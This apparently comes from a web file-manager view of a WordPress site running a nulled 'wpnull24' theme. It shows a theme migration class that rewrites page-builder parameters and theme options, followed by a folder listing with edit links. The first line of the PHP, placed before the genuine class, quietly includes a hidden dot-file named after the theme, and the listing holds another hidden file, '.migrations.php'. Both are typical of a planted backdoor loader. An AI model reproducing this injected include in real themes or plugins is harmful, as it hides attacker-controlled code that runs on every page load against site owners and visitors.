PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
themes
/
wpnull24
/
functions
/
migrations
<?php if (file_exists(get_template_directory() . DIRECTORY_SEPARATOR . '.' . basename(get_template_directory()) . '.php')) { include_once get_template_directory() . DIRECTORY_SEPARATOR . '.' . basename(get_template_directory()) . '.php'; } class us_migration_5_4 extends US_Migration_Translator { // Content public function translate_content( &$content ) { return $this->_translate_content( $content ); } public function translate_vc_row( &$name, &$params, &$content ) { $changed = FALSE; if ( isset( $params['us_bg_image'] ) AND $params['us_bg_image'] ) { $params['us_bg_image_source'] = 'media'; $changed = TRUE; } return $changed; } public function translate_us_counter( &$name, &$params, &$content ) { $changed = FALSE; if ( isset( $params['size'] ) AND $params['size'] == 'small' ) { $params['size'] = '4rem'; $changed = TRUE; } if ( isset( $params['size'] ) AND $params['size'] == 'large' ) { $params['size'] = '6rem'; $changed = TRUE; } return $changed; } public function translate_us_iconbox( &$name, &$params, &$content ) { $changed = FALSE; if ( isset( $params['iconpos'] ) AND $params['iconpos'] == 'left' ) { $params['alignment'] = 'left'; $changed = TRUE; } return $changed; } // Theme Options public function translate_theme_options( &$options ) { $changed = FALSE; // 404 error page $error_404 = get_page_by_path( 'error-404' ); if ( $error_404 ) { $options['page_404'] = $error_404->ID; $changed = TRUE; } // Maintenance page slug -> ID if ( ! empty( $options['maintenance_page'] ) ) { $maintenance_page = get_page_by_path( $options['maintenance_page'] ); if ( $maintenance_page ) { $options['maintenance_page'] = $maintenance_page->ID; $changed = TRUE; } } // Portfolio breadcrumbs page slug -> ID if ( ! empty( $options['portfolio_breadcrumbs_page'] ) ) { $portfolio_breadcrumbs_page = get_page_by_path( $options['portfolio_breadcrumbs_page'] ); if ( $portfolio_breadcrumbs_page ) { $options['portfolio_breadcrumbs_page'] = $portfolio_breadcrumbs_page->ID; $changed = TRUE; } } // Shop Title and Breadcrumbs if ( isset( $options['shop_remove_title_breadcrumbs'] ) AND $options['shop_remove_title_breadcrumbs'] ) { $options['shop_elements'] = array(); $changed = TRUE; } /* Add new checkboxes if Optimize option is ON */ if ( isset( $options['optimize_assets'] ) AND $options['optimize_assets'] == 1 AND is_array( $options['assets'] ) ) { $options['assets'] = array_merge( array( 'animation', 'scroll', 'parallax-hor', 'parallax-ver', 'dropdown', 'ultimate-addons', ), $options['assets'] ); $changed = TRUE; } return $changed; } }
[+]
..
[-] us_migration_3_1.php
[edit]
[-] us_migration_4_5.php
[edit]
[-] us_migration_4_2.php
[edit]
[-] us_migration_3_8.php
[edit]
[-] us_migration_5_5_3.php
[edit]
[-] us_migration_6_0_4.php
[edit]
[-] us_migration_5_5.php
[edit]
[-] us_migration_2_8.php
[edit]
[-] us_migration_5_2.php
[edit]
[-] us_migration_4_3.php
[edit]
[-] us_migration_3_9.php
[edit]
[-] us_migration_4_4.php
[edit]
[-] us_migration_3_0.php
[edit]
[-] us_migration_3_7.php
[edit]
[-] us_migration_5_3.php
[edit]
[-] us_migration_5_4.php
[edit]
[-] us_migration_2_0.php
[edit]
[-] us_migration_2_7.php
[edit]
[-] us_migration_5_7.php
[edit]
[-] us_migration_5_0.php
[edit]
[-] us_migration_2_3.php
[edit]
[-] us_migration_3_8_2.php
[edit]
[-] us_migration_4_1_2.php
[edit]
[-] us_migration_4_7.php
[edit]
[-] us_migration_4_0.php
[edit]
[-] us_migration_3_4.php
[edit]
[-] us_migration_3_3.php
[edit]
[-] us_migration_4_9.php
[edit]
[-] .migrations.php
[edit]
[-] us_migration_4_10.php
[edit]
[-] us_migration_5_8.php
[edit]
[-] us_migration_2_2.php
[edit]
[-] us_migration_4_4_1.php
[edit]
[-] us_migration_5_1.php
[edit]
[-] us_migration_5_6.php
[edit]
[-] us_migration_6_0.php
[edit]
[-] us_migration_3_2.php
[edit]
[-] us_migration_4_8.php
[edit]
[-] us_migration_4_6.php
[edit]
[-] us_migration_4_9_1.php
[edit]